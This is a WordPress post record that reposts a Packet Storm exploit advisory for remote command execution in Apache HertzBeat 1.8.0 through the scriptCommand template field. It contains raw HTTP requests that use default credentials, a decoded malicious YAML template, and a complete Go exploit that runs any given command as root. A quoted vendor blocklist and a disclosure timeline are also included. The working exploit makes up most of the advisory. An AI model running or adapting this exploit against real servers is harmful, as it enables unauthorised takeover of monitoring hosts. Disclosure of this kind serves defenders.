{"id":54573,"date":"2026-05-14T12:44:08","date_gmt":"2026-05-14T12:44:08","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=54573"},"modified":"2026-05-14T12:44:08","modified_gmt":"2026-05-14T12:44:08","slug":"apache-hertzbeat-180-remote-command-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=54573","title":{"rendered":"\ud83d\udcc4 Apache HertzBeat 1.8.0 Remote Command Execution_PACKETSTORM:221083"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-14T16:31:56&#8243;,&#8221;description&#8221;:&#8221;Apache HertzBeat version 1.8.0 suffers from a remote command execution vulnerability via the scriptCommand parameter in a monitoring template definition&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-14T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-14T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Apache HertzBeat 1.8.0 Remote Command Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:221083&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;# Exploit Title: Apache HertzBeat 1.8.0 &#8211; Remote Code Execution \\n    # Google Dork: N\/A\\n    # Date: 2026-03-09\\n    # Exploit Author: Brett Gervasoni\\n    # Vendor Homepage: https:\/\/hertzbeat.apache.org\/\\n    # Software Link: https:\/\/github.com\/apache\/hertzbeat\/releases\\n    # Version: 1.8.0\\n    # Tested on: Linux (Docker; official HertzBeat image, uid=0 in container)\\n    # CVE: N\/A\\n    \\n    ================================================================================\\n    METADATA\\n    ================================================================================\\n    \\n    Severity: CRITICAL\\n    Impact: Arbitrary command execution via monitoring template (script protocol)\\n    CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)\\n    Product: Apache HertzBeat \u2014 https:\/\/hertzbeat.apache.org\/ (v1.8.0)\\n    Affected Component: ScriptCollectImpl.collect()\\n    Affected Endpoint: PUT \/api\/apps\/define\/yml\\n    Authentication: Required (standard user or admin)\\n    \\n    Note: Apache Security does not classify this as a vulnerability; see HertzBeat\\n    security model: https:\/\/hertzbeat.apache.org\/docs\/help\/security_model\/\\n    \\n    ================================================================================\\n    VULNERABILITY SUMMARY\\n    ================================================================================\\n    \\n    HertzBeat allows arbitrary OS commands to be executed via the scriptCommand\\n    parameter in a monitoring template definition.\\n    \\n    An authenticated user can overwrite a monitoring template definition via\\n    PUT \/api\/apps\/define\/yml. The \\&#8221;define\\&#8221; body contains YAML parsed into a Job.\\n    When the YAML specifies protocol: script, the attacker-controlled scriptCommand\\n    string is passed to ProcessBuilder (bash -c \\&#8221;\\u003ccommand\\u003e\\&#8221;) without sanitization.\\n    \\n    If the overwritten template has active monitoring instances, updateAppCollectJob()\\n    re-dispatches them, triggering execution within seconds. If none exist, the\\n    attacker can create one via POST \/api\/monitor to trigger immediate execution.\\n    \\n    The default Docker deployment runs the process as root (uid=0).\\n    \\n    ================================================================================\\n    VULNERABLE CODE (REFERENCE)\\n    ================================================================================\\n    \\n    Sink \u2014 ScriptCollectImpl.java (approx. lines 74\u2013114) \u2014 direct execution:\\n    \\n        public void collect(CollectRep.MetricsData.Builder builder, Metrics metrics) {\\n            ScriptProtocol scriptProtocol = metrics.getScript();\\n            \/\/ &#8230;\\n            if (StringUtils.hasText(scriptProtocol.getScriptCommand())) {\\n                switch (scriptProtocol.getScriptTool()) {\\n                    case BASH -\\u003e processBuilder = new ProcessBuilder(\\n                        BASH, BASH_C, scriptProtocol.getScriptCommand().trim());  \/\/ payload\\n                    \/\/ &#8230;\\n                }\\n            }\\n            \/\/ &#8230;\\n            Process process = processBuilder.start();  \/\/ executed\\n        }\\n    \\n    YAML gadget blocking \u2014 AppController.java (approx. 55\u201359) \u2014 blocks SnakeYAML\\n    gadget strings, not shell command injection:\\n    \\n        private static final String[] RISKY_STR_ARR = {\\&#8221;ScriptEngineManager\\&#8221;, \\&#8221;URLClassLoader\\&#8221;, \\&#8221;!!\\&#8221;,\\n                \\&#8221;ClassLoader\\&#8221;, \\&#8221;AnnotationConfigApplicationContext\\&#8221;, \\&#8221;FileSystemXmlApplicationContext\\&#8221;,\\n                \\&#8221;GenericXmlApplicationContext\\&#8221;, \\&#8221;GenericGroovyApplicationContext\\&#8221;, \\&#8221;GroovyScriptEngine\\&#8221;,\\n                \\&#8221;GroovyClassLoader\\&#8221;, \\&#8221;GroovyShell\\&#8221;, \\&#8221;ScriptEngine\\&#8221;, \\&#8221;ScriptEngineFactory\\&#8221;,\\n                \\&#8221;XmlWebApplicationContext\\&#8221;, \\&#8221;ClassPathXmlApplicationContext\\&#8221;, \\&#8221;MarshalOutputStream\\&#8221;,\\n                \\&#8221;InflaterOutputStream\\&#8221;, \\&#8221;FileOutputStream\\&#8221;};\\n    \\n    ================================================================================\\n    PROOF OF CONCEPT \u2014 RAW HTTP\\n    ================================================================================\\n    \\n    Replace TARGET with the HertzBeat host. Default port is 1157. Example uses a\\n    standard user \\&#8221;operator\\&#8221; \/ \\&#8221;hertzbeat\\&#8221; (user role); admin with default\\n    password also works.\\n    \\n    &#8212; Step 1: Authenticate &#8212;\\n    \\n    POST \/api\/account\/auth\/form HTTP\/1.1\\n    Host: TARGET:1157\\n    Content-Type: application\/json\\n    \\n    {\\&#8221;type\\&#8221;:1,\\&#8221;identifier\\&#8221;:\\&#8221;operator\\&#8221;,\\&#8221;credential\\&#8221;:\\&#8221;hertzbeat\\&#8221;}\\n    \\n    Response: data.token (JWT) \u2014 use as Bearer below.\\n    \\n    &#8212; Step 2: Overwrite linux_script template &#8212;\\n    \\n    PUT \/api\/apps\/define\/yml HTTP\/1.1\\n    Host: TARGET:1157\\n    Authorization: Bearer \\u003cJWT\\u003e\\n    Content-Type: application\/json\\n    \\n    {\\&#8221;define\\&#8221;:\\&#8221;app: linux_script\\\\ncategory: os\\\\nname:\\\\n  en-US: Linux Script\\\\n  zh-CN: Linux Script\\\\nparams:\\\\n  &#8211; field: host\\\\n    name:\\\\n      en-US: Host\\\\n      zh-CN: Host\\\\n    type: host\\\\n    required: true\\\\nmetrics:\\\\n  &#8211; name: basic\\\\n    i18n:\\\\n      en-US: Basic\\\\n      zh-CN: Basic\\\\n    priority: 0\\\\n    fields:\\\\n      &#8211; field: result\\\\n        type: 1\\\\n        i18n:\\\\n          en-US: Result\\\\n          zh-CN: Result\\\\n    protocol: script\\\\n    script:\\\\n      scriptTool: bash\\\\n      charset: UTF-8\\\\n      scriptCommand: id \\u003e \/tmp\/pwned\\\\n      parseType: multiRow\\\\n\\&#8221;}\\n    \\n    Decoded define (YAML):\\n    \\n    app: linux_script\\n    category: os\\n    name:\\n      en-US: Linux Script\\n      zh-CN: Linux Script\\n    params:\\n      &#8211; field: host\\n        name:\\n          en-US: Host\\n          zh-CN: Host\\n        type: host\\n        required: true\\n    metrics:\\n      &#8211; name: basic\\n        i18n:\\n          en-US: Basic\\n          zh-CN: Basic\\n        priority: 0\\n        fields:\\n          &#8211; field: result\\n            type: 1\\n            i18n:\\n              en-US: Result\\n              zh-CN: Result\\n        protocol: script\\n        script:\\n          scriptTool: bash\\n          charset: UTF-8\\n          scriptCommand: id \\u003e \/tmp\/pwned\\n          parseType: multiRow\\n    \\n    Expected response:\\n    \\n    HTTP\/1.1 200 OK\\n    Content-Type: application\/json\\n    \\n    {\\&#8221;code\\&#8221;:0,\\&#8221;msg\\&#8221;:null,\\&#8221;data\\&#8221;:null}\\n    \\n    &#8212; Step 3: Create monitor (if no linux_script monitors exist) &#8212;\\n    \\n    POST \/api\/monitor HTTP\/1.1\\n    Host: TARGET:1157\\n    Authorization: Bearer \\u003cJWT\\u003e\\n    Content-Type: application\/json\\n    \\n    {\\&#8221;monitor\\&#8221;:{\\&#8221;name\\&#8221;:\\&#8221;rce-test\\&#8221;,\\&#8221;app\\&#8221;:\\&#8221;linux_script\\&#8221;,\\&#8221;host\\&#8221;:\\&#8221;127.0.0.1\\&#8221;,\\&#8221;intervals\\&#8221;:30,\\&#8221;status\\&#8221;:1},\\&#8221;params\\&#8221;:[{\\&#8221;field\\&#8221;:\\&#8221;host\\&#8221;,\\&#8221;paramValue\\&#8221;:\\&#8221;127.0.0.1\\&#8221;,\\&#8221;type\\&#8221;:1}]}\\n    \\n    &#8212; Step 4: Verify (example: Docker) &#8212;\\n    \\n    docker exec hertzbeat cat \/tmp\/pwned\\n    \\n    Expected:\\n    \\n    uid=0(root) gid=0(root) groups=0(root)\\n    \\n    ================================================================================\\n    EXPLOIT CODE \u2014 script_command_rce.go (Go)\\n    ================================================================================\\n    \\n    package main\\n    \\n    import (\\n    \\t\\&#8221;bytes\\&#8221;\\n    \\t\\&#8221;encoding\/json\\&#8221;\\n    \\t\\&#8221;fmt\\&#8221;\\n    \\t\\&#8221;io\\&#8221;\\n    \\t\\&#8221;math\/rand\\&#8221;\\n    \\t\\&#8221;net\/http\\&#8221;\\n    \\t\\&#8221;os\\&#8221;\\n    \\t\\&#8221;strings\\&#8221;\\n    )\\n    \\n    const target = \\&#8221;http:\/\/localhost:1157\\&#8221;\\n    \\n    type authResponse struct {\\n    \\tCode int `json:\\&#8221;code\\&#8221;`\\n    \\tData struct {\\n    \\t\\tToken string `json:\\&#8221;token\\&#8221;`\\n    \\t} `json:\\&#8221;data\\&#8221;`\\n    }\\n    \\n    type apiResponse struct {\\n    \\tCode int    `json:\\&#8221;code\\&#8221;`\\n    \\tMsg  string `json:\\&#8221;msg\\&#8221;`\\n    }\\n    \\n    func main() {\\n    \\tif len(os.Args) \\u003c 2 {\\n    \\t\\tfmt.Fprintf(os.Stderr, \\&#8221;Usage: %s \\u003ccommand\\u003e\\\\n\\&#8221;, os.Args[0])\\n    \\t\\tfmt.Fprintf(os.Stderr, \\&#8221;Example: %s \\\\\\&#8221;id \\u003e \/tmp\/pwned\\\\\\&#8221;\\\\n\\&#8221;, os.Args[0])\\n    \\t\\tos.Exit(1)\\n    \\t}\\n    \\tcmd := strings.Join(os.Args[1:], \\&#8221; \\&#8221;)\\n    \\n    \\tfmt.Println(\\&#8221;============================================================\\&#8221;)\\n    \\tfmt.Println(\\&#8221; HertzBeat ScriptCollectImpl RCE\\&#8221;)\\n    \\tfmt.Println(\\&#8221;============================================================\\&#8221;)\\n    \\tfmt.Println()\\n    \\n    \\tfmt.Println(\\&#8221;[*] Authenticating&#8230;\\&#8221;)\\n    \\n    \\ttoken, err := authenticate()\\n    \\tif err != nil {\\n    \\t\\tfmt.Fprintf(os.Stderr, \\&#8221;[-] Auth failed: %v\\\\n\\&#8221;, err)\\n    \\t\\tos.Exit(1)\\n    \\t}\\n    \\n    \\tfmt.Printf(\\&#8221;[+] Got token: %s&#8230;\\\\n\\\\n\\&#8221;, token[:40])\\n    \\n    \\tfmt.Println(\\&#8221;[*] Overwriting linux_script template&#8230;\\&#8221;)\\n    \\tfmt.Printf(\\&#8221;    PUT \/api\/apps\/define\/yml\\\\n\\&#8221;)\\n    \\tfmt.Printf(\\&#8221;    scriptCommand: %s\\\\n\\&#8221;, cmd)\\n    \\n    \\terr = putMaliciousDefine(token, cmd)\\n    \\tif err != nil {\\n    \\t\\tfmt.Fprintf(os.Stderr, \\&#8221;[-] Failed to overwrite template: %v\\\\n\\&#8221;, err)\\n    \\t\\tos.Exit(1)\\n    \\t}\\n    \\n    \\tfmt.Println(\\&#8221;[+] Template overwritten.\\&#8221;)\\n    \\tfmt.Println()\\n    \\n    \\tfmt.Println(\\&#8221;[*] Creating monitor instance to trigger collection&#8230;\\&#8221;)\\n    \\tfmt.Println(\\&#8221;    POST \/api\/monitor with app: linux_script\\&#8221;)\\n    \\n    \\terr = createMonitor(token)\\n    \\tif err != nil {\\n    \\t\\tfmt.Fprintf(os.Stderr, \\&#8221;[-] Failed to create monitor: %v\\\\n\\&#8221;, err)\\n    \\t\\tfmt.Println(\\&#8221;[*] This may fail if a monitor already exists \u2014 checking anyway&#8230;\\&#8221;)\\n    \\t} else {\\n    \\t\\tfmt.Println(\\&#8221;[+] Monitor created.\\&#8221;)\\n    \\t\\tfmt.Println()\\n    \\t}\\n    \\n    \\tfmt.Println(\\&#8221;[+] Completed. If it wasn&#8217;t executed instantly, wait ~30 seconds for the collector.\\&#8221;)\\n    \\tfmt.Printf(\\&#8221;[+] Command: %s\\\\n\\\\n\\&#8221;, cmd)\\n    \\tfmt.Println(\\&#8221;[*] Verify with (assuming its running in docker locally):\\&#8221;)\\n    \\tfmt.Println(\\&#8221;    docker exec hertzbeat \\u003ccheck your payload\\u003e\\&#8221;)\\n    }\\n    \\n    func authenticate() (string, error) {\\n    \\tbody := `{\\&#8221;type\\&#8221;:1,\\&#8221;identifier\\&#8221;:\\&#8221;operator\\&#8221;,\\&#8221;credential\\&#8221;:\\&#8221;hertzbeat\\&#8221;}`\\n    \\n    \\tresp, err := http.Post(target+\\&#8221;\/api\/account\/auth\/form\\&#8221;, \\&#8221;application\/json\\&#8221;, bytes.NewBufferString(body))\\n    \\tif err != nil {\\n    \\t\\treturn \\&#8221;\\&#8221;, err\\n    \\t}\\n    \\n    \\tdefer resp.Body.Close()\\n    \\n    \\tvar result authResponse\\n    \\tif err := json.NewDecoder(resp.Body).Decode(\\u0026result); err != nil {\\n    \\t\\treturn \\&#8221;\\&#8221;, err\\n    \\t}\\n    \\n    \\tif result.Code != 0 || result.Data.Token == \\&#8221;\\&#8221; {\\n    \\t\\treturn \\&#8221;\\&#8221;, fmt.Errorf(\\&#8221;unexpected response code %d\\&#8221;, result.Code)\\n    \\t}\\n    \\n    \\treturn result.Data.Token, nil\\n    }\\n    \\n    func putMaliciousDefine(token, command string) error {\\n    \\tdefine := fmt.Sprintf(`app: linux_script\\n    category: os\\n    name:\\n      en-US: Linux Script\\n      zh-CN: Linux Script\\n    params:\\n      &#8211; field: host\\n        name:\\n          en-US: Host\\n          zh-CN: Host\\n        type: host\\n        required: true\\n    metrics:\\n      &#8211; name: basic\\n        i18n:\\n          en-US: Basic\\n          zh-CN: Basic\\n        priority: 0\\n        fields:\\n          &#8211; field: result\\n            type: 1\\n            i18n:\\n              en-US: Result\\n              zh-CN: Result\\n        protocol: script\\n        script:\\n          scriptTool: bash\\n          charset: UTF-8\\n          scriptCommand: \\&#8221;%s \\u0026\\u0026 echo result done\\&#8221;\\n          parseType: multiRow\\n    `, command)\\n    \\n    \\tpayload, _ := json.Marshal(map[string]string{\\&#8221;define\\&#8221;: define})\\n    \\n    \\treq, _ := http.NewRequest(\\&#8221;PUT\\&#8221;, target+\\&#8221;\/api\/apps\/define\/yml\\&#8221;, bytes.NewBuffer(payload))\\n    \\treq.Header.Set(\\&#8221;Content-Type\\&#8221;, \\&#8221;application\/json\\&#8221;)\\n    \\treq.Header.Set(\\&#8221;Authorization\\&#8221;, \\&#8221;Bearer \\&#8221;+token)\\n    \\n    \\tresp, err := http.DefaultClient.Do(req)\\n    \\tif err != nil {\\n    \\t\\treturn err\\n    \\t}\\n    \\n    \\tdefer resp.Body.Close()\\n    \\n    \\trespBody, _ := io.ReadAll(resp.Body)\\n    \\n    \\tvar result apiResponse\\n    \\tif err := json.Unmarshal(respBody, \\u0026result); err != nil {\\n    \\t\\treturn fmt.Errorf(\\&#8221;HTTP %d: %s\\&#8221;, resp.StatusCode, string(respBody))\\n    \\t}\\n    \\n    \\tif result.Code != 0 {\\n    \\t\\treturn fmt.Errorf(\\&#8221;API error (code %d): %s\\&#8221;, result.Code, result.Msg)\\n    \\t}\\n    \\n    \\treturn nil\\n    }\\n    \\n    func createMonitor(token string) error {\\n    \\tsuffix := randSuffix()\\n    \\tname := fmt.Sprintf(\\&#8221;rce-poc-%s\\&#8221;, suffix)\\n    \\tbody := fmt.Sprintf(`{\\&#8221;monitor\\&#8221;:{\\&#8221;name\\&#8221;:\\&#8221;%s\\&#8221;,\\&#8221;app\\&#8221;:\\&#8221;linux_script\\&#8221;,\\&#8221;host\\&#8221;:\\&#8221;127.0.0.1\\&#8221;,\\&#8221;intervals\\&#8221;:30,\\&#8221;status\\&#8221;:1},\\&#8221;params\\&#8221;:[{\\&#8221;field\\&#8221;:\\&#8221;host\\&#8221;,\\&#8221;paramValue\\&#8221;:\\&#8221;127.0.0.1\\&#8221;,\\&#8221;type\\&#8221;:1}]}`, name)\\n    \\n    \\treq, _ := http.NewRequest(\\&#8221;POST\\&#8221;, target+\\&#8221;\/api\/monitor\\&#8221;, bytes.NewBufferString(body))\\n    \\treq.Header.Set(\\&#8221;Content-Type\\&#8221;, \\&#8221;application\/json\\&#8221;)\\n    \\treq.Header.Set(\\&#8221;Authorization\\&#8221;, \\&#8221;Bearer \\&#8221;+token)\\n    \\n    \\tresp, err := http.DefaultClient.Do(req)\\n    \\tif err != nil {\\n    \\t\\treturn err\\n    \\t}\\n    \\n    \\tdefer resp.Body.Close()\\n    \\n    \\trespBody, _ := io.ReadAll(resp.Body)\\n    \\tvar result apiResponse\\n    \\tif err := json.Unmarshal(respBody, \\u0026result); err != nil {\\n    \\t\\treturn fmt.Errorf(\\&#8221;HTTP %d: %s\\&#8221;, resp.StatusCode, string(respBody))\\n    \\t}\\n    \\n    \\tif result.Code != 0 {\\n    \\t\\treturn fmt.Errorf(\\&#8221;API error (code %d): %s\\&#8221;, result.Code, result.Msg)\\n    \\t}\\n    \\treturn nil\\n    }\\n    \\n    func randSuffix() string {\\n    \\tconst chars = \\&#8221;abcdefghijklmnopqrstuvwxyz0123456789\\&#8221;\\n    \\tb := make([]byte, 8)\\n    \\n    \\tfor i := range b {\\n    \\t\\tb[i] = chars[rand.Intn(len(chars))]\\n    \\t}\\n    \\n    \\treturn string(b)\\n    }\\n    \\n    ================================================================================\\n    NOTES\\n    ================================================================================\\n    \\n    &#8211; A standard user (e.g. operator:hertzbeat, user role) is sufficient; admin is\\n      not required for the described flow.\\n    &#8211; A new custom app name (e.g. app: rce_custom) can be registered with POST\\n      instead of PUT to avoid overwriting an existing definition; then create a\\n      monitor for that app.\\n    \\n    ================================================================================\\n    DISCLOSURE \/ VENDOR RESPONSE (SUMMARY)\\n    ================================================================================\\n    \\n    Apache Security indicated this aligns with the documented security model: only\\n    trusted operators should receive accounts; customization is intentional.\\n    Role-based permission controls are still evolving; see vendor documentation.\\n    \\n    Reporting timeline:\\n    &#8211; 2026-02-19: Reported to Apache Security\\n    &#8211; 2026-02-19 to 2026-03-04: Discussion on post-authentication issues\\n    &#8211; 2026-03-04: Apache position communicated (risk accepted per security model)\\n    &#8211; 2026-03-09: Public advisory&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/221083&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/221083\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-14T16:31:56&#8243;,&#8221;description&#8221;:&#8221;Apache HertzBeat version 1.8.0 suffers from a remote command execution vulnerability via the scriptCommand parameter in a monitoring template definition&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-14T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-14T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Apache HertzBeat 1.8.0 Remote Command&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-54573","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Apache HertzBeat 1.8.0 Remote Command Execution_PACKETSTORM:221083 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=54573\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Apache HertzBeat 1.8.0 Remote Command Execution_PACKETSTORM:221083 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-14T16:31:56&#8243;,&#8221;description&#8221;:&#8221;Apache HertzBeat version 1.8.0 suffers from a remote command execution vulnerability via the scriptCommand parameter in a monitoring template definition&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-14T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-14T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Apache HertzBeat 1.8.0 Remote Command...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=54573\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-14T12:44:08+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54573#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54573\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Apache HertzBeat 1.8.0 Remote Command Execution_PACKETSTORM:221083\",\"datePublished\":\"2026-05-14T12:44:08+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54573\"},\"wordCount\":1936,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=54573#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54573\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54573\",\"name\":\"\ud83d\udcc4 Apache HertzBeat 1.8.0 Remote Command Execution_PACKETSTORM:221083 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-14T12:44:08+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54573#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=54573\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=54573#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Apache HertzBeat 1.8.0 Remote Command Execution_PACKETSTORM:221083\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Apache HertzBeat 1.8.0 Remote Command Execution_PACKETSTORM:221083 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=54573","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Apache HertzBeat 1.8.0 Remote Command Execution_PACKETSTORM:221083 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-14T16:31:56&#8243;,&#8221;description&#8221;:&#8221;Apache HertzBeat version 1.8.0 suffers from a remote command execution vulnerability via the scriptCommand parameter in a monitoring template definition&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-14T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-14T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Apache HertzBeat 1.8.0 Remote Command...","og_url":"https:\/\/zero.redgem.net\/?p=54573","og_site_name":"zero 